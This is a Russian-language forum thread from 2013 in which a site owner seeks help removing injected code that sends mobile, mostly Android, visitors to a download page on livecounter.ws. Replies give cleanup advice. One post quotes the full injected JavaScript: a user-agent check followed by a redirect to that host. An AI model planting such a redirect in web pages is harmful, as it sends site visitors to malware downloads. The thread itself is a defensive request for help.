На сайте вирус

Discussion in 'Безопасность и Анонимность' started by mel-tracker, 16 Jan 2013.

  1. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте, хочу узнать со своим сайтом Баштел
    При заходе с мобильного в основном Андроид пользователей перекидывает на livecounter.ws/getfile.php?dtype=browser&r=9922-1&a=22
    заставляя что то скачать как бы вирус.
    хотел бы узнать как решить эту проблему?
     
  2. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Скорее всего в корне сайта вредоносный .htaccess

    Если такой файл есть - покажите его содержимое, будьте добры
     
    _________________________
  3. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    http://rghost.ru/43071874 это из корня есть еще другие
     
  4. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Смените пароль от Аккуанта на более сложный, отключите ФТП SSH ищите для начала в шаблонах на сайте сторонние коды, особенно зашифрованные. Посмотрите может к коду банеров добавили сторонний код
     
  5. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Искал я, с компа нормально все нечего не находит не вирус нечего, пс тоже молчат, но а вот именно с андроида
     
  6. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Ищи сторонний код чё ещё сказать, посмотри по датам редактирования файлов

    htaccess у тебя чистый, посмотри исходник страницы, и там ищи сторонний код


    Вроде нашёл код в .js
     
    #6 OxoTnik, 16 Jan 2013
    Last edited: 16 Jan 2013
  7. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0

    <script type="text/javascript">
    <!--
    if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone)/i)!==null){
    window.location = "http://livecounter.ws/getfile.php?dtype=browser&r=9922-1&a=22";
    }
    //-->
    </script>


    Вот этот код полностью мне яша прислал
     
  8. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    хоть яша сказал что вирусов нет, на сайт с мобилы не заходит, помогите найти эту дрянь
     
  9. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Это и надо удалить...
    И подобное.
     
  10. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Я бы удалил но где же найти его?
     
  11. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Тебе названия файла сказать?


    сделай поиск по файлам сайта на наличие ссылки http://livecounter.ws
     
  12. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Делал нечего не находит
     
  13. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Если шаблон первоначальный сохранился замени его со всеми js файлами


    Но по моему вирус где то в JS файлах проверь и все по отдельности http://r-torrent.ru/templates/simplefilms/js/tooltip.js
     
  14. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Смотрел нет в этом файле
     
  15. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Шаблон новый ставил там такая же байда
     
  16. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Спасибо конечно но нечего не нашел
     
  17. Alex24

    Alex24 Member

    Joined:
    5 Sep 2010
    Messages:
    385
    Likes Received:
    56
    Reputations:
    19
    Та я тупанул и сам просканил :rolleyes:
    Вот еще - http://www.siteguard.ru/ (оценка WOT - "Превосходно",т.е. сайт надежный)
    Попробуй удалить последние установленные скрипты, файлы, коды.
     
    #17 Alex24, 16 Jan 2013
    Last edited: 16 Jan 2013
  18. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Спасиб, какой то он трудно тупой
     
  19. CrystalTears

    CrystalTears Elder - Старейшина

    Joined:
    3 Sep 2006
    Messages:
    83
    Likes Received:
    47
    Reputations:
    11
    может ссылка чем-то поможет...
    http://forum.antichat.ru/thread357389.html
     
  20. mel-tracker

    mel-tracker Banned

    Joined:
    28 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Много уже что пробовал, но код я же видел с вирусом но найти его не могу...помогите